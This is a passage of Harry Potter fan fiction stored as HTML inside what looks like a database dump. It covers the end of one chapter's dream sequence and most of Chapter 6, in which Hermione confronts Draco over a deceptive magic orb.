side.&#8221; Ulrich said with a smile.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;We are not on the same side and you\nknow it.&nbsp; You sound like your father\nUlrich, it is quite disturbing.&nbsp; And\naren&#8217;t you&#8217;re in love with Alina, shouldn&#8217;t you be with her?&#8221; Jasmine pointed\nout.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;I can&#8217;t be with her, my father won&#8217;t\nallow it.&nbsp; She&#8217;s just a bar maid. Beneath\nmy station.&nbsp; Even though my father is\nimpressed with her magic skills she&#8217;s just not worthy.&#8221; Ulrich said with\ndisappointment.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;The only reason you think we could be\ngood together is because your father knows I have Merlin&#8217;s Scepter, and he\nwants it.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;I don&#8217;t know why he wants it?&nbsp; Jasmine you&#8217;re the only one who can use it.\nSometimes I wonder if he even thinks clearly.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Ulrich evil incarnates don&#8217;t think\nclearly&#8221; she insulted,&#8220; they think with how much power they can achieve, it\nclouds their minds.&#8221;&nbsp; She heard footsteps\ncoming towards them she looked up her eyes narrowed as saw him coming towards\nthem.&nbsp; She looked back at Ulrich, &#8220;excuse\nme Ulrich, I must go now.&#8221; She turned and walked away from Ulrich, trying to\nget away from the court, palace and most of all him.&nbsp; She rounded the corner just before the palace\ngardens that led out into the village and smacked into someone.&nbsp; She tried to step aside and go past but he\ndidn&#8217;t let her.&nbsp; She finally looked up at\nhim &#8220;Torrin move.&#8221; She commanded.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;I did.&#8221; He was sarcastic. &#8220;Where are\nyou going in such a hurry?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;It really doesn&#8217;t concern you but if\nyou must know, I have business with the council.&#8221; She said looking away from him.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;You don&#8217;t have business with them until\ntonight. So you have plenty of time to spend with me.&#8221; He smiled.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;I think not.&#8221; She tried to pass him\nagain but he still did not let her. &#8220;You really need to get out of my way.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">He just stared trying to figure out what\nshe was talking about, he was not going to let her pass until he got an\nanswer.&nbsp; &#8220;Jasmine we have known each\nother all our lives, hell our parents made sure we would all grow up together,\nI know something is bothering you. Can you just tell me what it is?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Alright, it&#8217;s you. You are bothering\nme. There are you happy now?&#8221; She smiled sarcastically.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;If you think you telling me I bother\nyou makes me happy then you are surely misguided.&#8221; He replied in the same\nsarcastic tone as Jasmine&#8217;s smile.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">Jasmine rolled her eyes, &#8220;I don&#8217;t have\ntime for this, and I&#8217;m not going to get into an argument with you.&#8221; She turned\naround walking away.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">Torrin quickly grabbed her hand before\nshe could get away, &#8220;too late you&#8217;re already in it.&#8221; He said pulling her back\naround to face him.&nbsp; &#8220;Now what could I\nhave possibly done today, to bother you?&#8221; He dropped her hand.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">She looked right up at him, &#8220;you must\nreally think I&#8217;m the biggest fool don&#8217;t you?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Why would I think that?&#8221; He was\nconfused.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;I don&#8217;t know, maybe I should ask Sofia\nLyle?&#8221; She asked firmly.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">Torrin sighed,\nhe realized she must have seen him talking with </i><i style="mso-bidi-font-style:normal">Sofia</i><i style="mso-bidi-font-style:normal"> earlier,\n&#8220;Jasmine you are getting upset over nothing.&#8221; He said with a tiny laugh in his\nvoice.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Don&#8217;t you dare laugh at me, and it is\nnot nothing.&#8221; She said very seriously.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">Torrin laughed he couldn&#8217;t help it she\njust looked so serious and sounded it too.&nbsp;\nHe saw her eyes narrow with anger and her hand reach up to slap him but\nhe caught it way before it would hit him. He just looked at her with an amused\nexpression on his face.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">That look irritated her even more and\nshe lifted her other hand quickly but he caught that one too.&nbsp; Jasmine felt really foolish and she tried to\npull her wrists from his hands, but they wouldn&#8217;t budge, &#8220;let go.&#8221; She ordered.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;No,&#8221; He said amused, &#8220;you were going to\nslap me, with both hands.&#8221; </i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;And your point is what?&#8221; She answered\nstill trying to pull free noticing that he obviously found this funny.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;That I&#8217;ll let go when I want to,&#8221; he\nsaid no longer amused.&nbsp; With a firm but\ngentle tug Jasmine fell against him, his lips on hers.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;She went rigid and tried to pull away but he\nheld her wrists and her against him.&nbsp;\nJasmine felt Torrin bring her arms around his waist, so that she was\nembracing him.&nbsp; She always loved the feeling\nwhen she was holding him, now giving up on the idea of getting away.&nbsp; Her body relaxed against his. Even though she\nwas still angry she did not want to move. </i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">Torrin pulled away briefly, &#8220;you Jasmine\nare the only one I want.&#8221; He whispered putting his arms around her tighter.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&#8220;Torrin you do not fight fairly.&#8221; She\ndid not drop her arms from around his waste, she held on.</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">Looking down into her eyes, Torrin\nsmiled lightly &#8220;I know.&#8221;&nbsp;&nbsp; His lips\nbrushed lightly against hers&#8212;</i>\nHermione turned over in her sleep.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">======</p>\n\n<p class="MsoNormal">Hmmm? Well do you really\nthink Draco is going to run naked through the school?&nbsp; Well for all of you who ever wished to\nvisualize that ;). Stay tuned for Chapter-- 6 Draco&#8217;s Decision.&nbsp; Please Read and Review thanks, Ryoko</p>\n\n\n\n\n\n\n'),
	(41, 6, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-indent:13.5pt">Disclaimer:\nAlright all the Harry Potter characters belong to J.K. Rowlings, except for the\nplot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,, Leelee, Kai,\nFinley and Orvin.&nbsp; Those are mine. So\nplease don&#8217;t sue me because I don&#8217;t have anything</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:13.5pt" align="center">Chapter 6&#8212; Draco&#8217;s Decision</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">There\nwas no time for conversation as Hermione rushed through her breakfast, she\ndidn&#8217;t even look at anyone she just shoveled food into her mouth.&nbsp; She so wanted to get to the library.&nbsp; After she finished the rest of her juice she\nattempted to stand, but there was a hand resting on her arm. She looked over at\nHarry who was looking rather serious.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Hermione\nthere&#8217;s something I need to talk to you about.&#8221; He said uneasy </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt"><i style="mso-bidi-font-style:\nnormal">Uh-oh</i> She thought to herself he had time to think about his kissing her last\nnight and now thought it was a mistake.&nbsp;\nShe did not need to know that right now and was going to put off the\nnews as long as possible.&nbsp; &#8220;We can talk\nlater Harry I have to go.&#8221; She pulled her arm from beneath his hand, standing\nshe swung her bag over her shoulder and quickly darted from the main hall for\nthe library.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nwent into the well lit library, she smiled at Madame Pince who smiled back,\n&#8220;good morning Madame Pince.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Good\nmorning Hermione dear, do you need any help in finding what you&#8217;re looking\nfor?&#8221; Madame Pince really liked Hermione she was the most responsible student\nshe had ever known.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;No\nthank you I think I have everything under control.&#8221; Hermione smiled.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well\ndear would you mind watching the library for me, I&#8217;m going to step out for a\nfew minutes.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Sure,\nI&#8217;m probably going to be here awhile. So take as long as you need.&#8221; Hermione\nsat her bag down on the table as Madam Pince left the library.&nbsp; Hermione opened a secret compartment in her\nbag and pulled out the orb, the dark orb turned a series of colors in her hand.&nbsp; &#8220;Time to figure out what this really does.&#8221;\nShe said looking at it suspiciously.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nwent to the section of the library on Orbs and crystal magic, looking through a\nseries of books finding out a great deal about orbs in general.&nbsp; She heard voices arguing and leaned closer to\nthe edge of the book case trying to listen; she was surprised hearing that it\nwas Draco Malfoy and Ginny Weasley.&nbsp; <i style="mso-bidi-font-style:normal">Oh Ginny what are you doing with that creep</i>?\nShe thought to herself.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\nknow it is wrong.&#8221; Ginny said</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nknow that, what do you want me to do?&#8221; Draco was sarcastic.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Not\nto go through with it, that orb is dangerous.&nbsp;\nHermione should not have it, it might cause her to&#8212;&#8221; Ginny stopped.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What\nkill others, highly doubtful.&#8221; Draco said insensitive.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;No\nnot others! Herself you idiot.&#8221; Ginny insulted, &#8220;haven&#8217;t you seen what it&#8217;s\ndoing to her. Of course you don&#8217;t think about anyone but yourself.&#8221; She poked a\nfinger into his chest. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Ow!&#8221;\nDraco rubbed the spot where Ginny poked him.&nbsp;\n&#8220;Yes I&#8217;ve seen what it&#8217;s doing. It always does that if you keep it for a\nlong time. And she won&#8217;t give it back to me.&#8221; Draco replied sitting down.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Oh\nI wonder why she won&#8217;t give it back to you?&#8221; Ginny was sarcastic as she sat\ndown next to him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\nreally wasn&#8217;t going to make her do anything you know.&#8221; Draco admitted.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yeah\nwell that&#8217;s not what Ron and Harry told me this morning,&#8221; Ginny&#8217;s eyes narrowed\nhe signaled for her to move closer.&nbsp;\nGinny and Draco leaned in and he whispered something so that no one else\ncan hear.&nbsp; Ginny pulled back and looked\nat him stunned out of her mind.&nbsp; &#8220;Why on\nearth and under the heavens would you do that?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Because\nit was the right thing to do,&#8221; Draco replied.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Since\nwhen do you ever do the right thing?&#8221; Ginny asked unbelieving.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Since\nwe started spending time together, I know I&#8217;m suppose to hate you and your\nbrothers, well your brothers I do hate.&#8221; He admitted with a smile.&nbsp; &#8220;And hurting your friend, is hurting you. I\ndon&#8217;t want to do that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\ndon&#8217;t know if I should believe you.&#8221; Ginny said with suspicion in her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">On\nthe other side of the book shelves Hermione shook her head thinking to herself,\n&#8220;be careful Ginny, he&#8217;s a liar.&#8221; She returned to her orb searching.&nbsp; Hermione went to the last book in the orb\nsection she held the orb up and ran her finger along the sentences and found\ninformation on the Orb of Ellia, she continued reading her eyes narrowed in\nanger she looked back up at the orb and down at the book, she did that several\ntimes.&nbsp; She almost couldn&#8217;t control her\nanger.&nbsp; She clutched the orb tightly in\nher hand, she held it so tightly that the color in her hand ran down her\narm.&nbsp; Hermione walked out from behind the\nshelves and right over to the table where Draco and Ginny were. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">They\nsaw her coming as she walked up to them trying to hide how angry she was, Draco\ndid not think this was funny at all, she looked like she was going to kill him\nand she probably was.&nbsp; &#8220;Granger calm\ndown.&#8221; He said in a warning tone for the first time fearing for his life.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nwalked right up to the table and leaned over, she set the orb down softly on\nthe table.&nbsp; Then without warning she\nreached over and grabbed Draco by his robes pulling him up out of his seat, he\nwas amazed at how strong she had gotten and he didn&#8217;t resist.&nbsp; &#8220;What is this?&#8221; Hermione asked her teeth\nclinched.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\ncouldn&#8217;t lie to her while she was in this state, besides she had just found out\nthe truth that it was not the Orb of Ellia.&nbsp;\n&#8220;What is this?&#8221; He heard her repeat again.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;It\nis not the Orb of Ellia.&#8221; Draco replied.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nreleased his robes and he fell back down into his seat, she glared at him. &#8220;I\ndidn&#8217;t ask you what it wasn&#8217;t, I asked you what it is? And if you don&#8217;t tell me\nin the next millisecond you&#8217;re going to have a new facial feature and it isn&#8217;t\ngoing to be pretty.&#8221; She pulled out her wand holding it steady in her hand,\npointed right at Draco&#8217;s face she wasn&#8217;t teasing.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;It&#8217;s\nthe Orb or Ereena, the exact opposite of the Orb or Ellia.&nbsp; It shows you what you don&#8217;t want to see, or\nwhat you fear most.&#8221; He said still afraid his face was in danger of being\nruined.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Why\ndid you give this to me and why did you say it was the Orb of Ellia?&#8221; She moved\ncloser with the wand still pointed at him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;I\njust wanted to have a little fun with you, I didn&#8217;t think you would take anything\nI gave you seriously.&#8221;&nbsp; He replied with a\nlight smile, &#8220;you never have before.&nbsp; It\nallowed me to get to you.&nbsp; You would\nnever have allowed me otherwise if you did not need my help with it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nlowered her wand, &#8220;do you have any idea what a hold this orb had over me, it\nwas not fun Malfoy far from it.&nbsp; I had to\nlook at that thing every day, every hour.&nbsp;\nBefore it would let me go on with my day or night.&nbsp; I could feel it hypnotizing me commanding me\nto watch it.&nbsp; I couldn&#8217;t stop it.&nbsp; It made me believe it.&nbsp; Much like an unforgivable curse, it probably\nwas one.&#8221; She almost yelled at him.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nlifted her hand with the orb in it and threw the orb at Draco &#8220;take it back&#8221;\nShe watched him catch it in his hand, &#8220;It is not the Orb or Ellia so I owe you nothing.&#8221;&nbsp; Then turned to Ginny, &#8220;oh and Ginny I\nwouldn&#8217;t get to close to him. He&#8217;s no good you can even ask Zara Reynolds, He\nwas her first.&nbsp; If he&#8217;s after you it&#8217;s\nonly because you&#8217;re still a virgin, I mean I am and he knew that.&nbsp; It was the offering he made me that I had no\ncontrol over in agreeing to because I was being sucked in by that&#8212;that orb.&#8221;\nShe pointed at it in his hand.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ginny\nhad never seen her friend so angry, but at least she wasn&#8217;t sulking and\ndepressed.&nbsp; She was glad that Hermione&#8217;s\nmind was returning.&nbsp; She turned and\nlooked at Draco with a very angry expression, </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nkicked the table leg as she turned and went back behind the bookshelves, after\nputting all the books back she decided not to leave the library, she did not\nwant to talk to anybody, she was such a fool and an idiot.&nbsp; She hoped she never saw anyone again for the\nrest of her life.&nbsp; Never had she felt so\nhumiliated, she sat down at a table and pulled out a parchment, a quill and an\ninkbottle, she started working on the essay for Defense against the Dark Arts,\nshe was going to write about her experience with the Orb or Ereena.&nbsp; Something that really happened to her.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ginny\nleft the library with Draco trying to follow her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\ndidn&#8217;t realize how long she had been working, she didn&#8217;t even notice Madame\nPince returning.&nbsp; Who was reading quietly\nbehind her desk, Hermione returned to her work. After awhile of quiet writing a\nvoice disturbed her and she jumped writing a line where she was going to put\nthe letter I.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&#8220;Ginny said I would find you still here,&#8221;\nHarry said as he saw Hermione look up at him from her writing, &#8220;you missed\nlunch you know?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nnodded, &#8220;I wasn&#8217;t really hungry.&#8221; She smiled briefly and then it faded, &#8220;he&#8217;s\ngoing to pay for this.&#8221; She said under her breath and she knew Harry heard\nevery single word she said.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Who&#8217;s\nhe?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Malfoy,\nwho else?&#8221; She looked up at Harry irritated, &#8220;I feel like the biggest idiot\never.&#8221; She said trying to control her anger.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You\nshouldn&#8217;t beat yourself up over this, it could have happened to anyone?&#8221; Harry\nleaned against the table looking down at her.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yeah\nwell it didn&#8217;t happen to anyone, it happened to me.&#8221; Hermione shook her head\ndisgusted with herself, &#8220;why did it take you to tell me to figure out what this\nwas, I should have done that a long time ago.&nbsp;\nBut I didn&#8217;t.&#8221; She stood and threw her things into her bag, closing it\nroughly.&nbsp; &#8220;Well you might as well tell me\nwhat you wanted to talk to me about this morning, my day can&#8217;t get any worse\nthan this. Actually it can I just don&#8217;t want to think about that.&#8221; She started\nwalking towards the library door with Harry trying to catch up to her.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nreally didn&#8217;t feel like going back to the tower and she was in luck that Zara\nwas passing with her friends Jewel and Enrique, she noticed Enrique trying to\nhold Jewel back with a strong arm, it kind of made Hermione laugh to\nherself.&nbsp; &#8220;Zara do you think you could\ntake my bag up to the tower for me, I really don&#8217;t want go all the way up\nthere.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Zara\nsmiled, &#8220;sure Hermione.&#8221; She looked over at Harry, &#8220;Hey Harry if you see Ron\ncan you give him this for me?&#8221; Zara handed Harry a piece of folded paper.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry\nnodded and took the paper from her stuffing it in his pocket, and they\ncontinued on their way, &#8220;Hermione do you want to go outside?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Alright,&#8221;\nShe and Harry went out the main doors, and down the steps.&nbsp; The air felt cool and crisp, it would be\nHalloween soon Hermione thought.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nlooked over at Harry who looked serious.&nbsp;\n&#8220;What, you look like you want to say something. So just say it already.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;It&#8217;s\nnot that easy to say.&#8221; Harry said truthfully.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">She\nstopped walking and sat on a small bench just before the lake.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">He\nsat down next to her, &#8220;I just feel that I should tell you that&#8212;&#8221; He couldn&#8217;t\nget the words out what was the matter with him, He felt she should know Ron\nalready knew a long time ago, you just don&#8217;t share these things with friends\nthat happen to be girls.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione\nsaw him struggling with his thoughts, &#8220;is it a bad thing or a 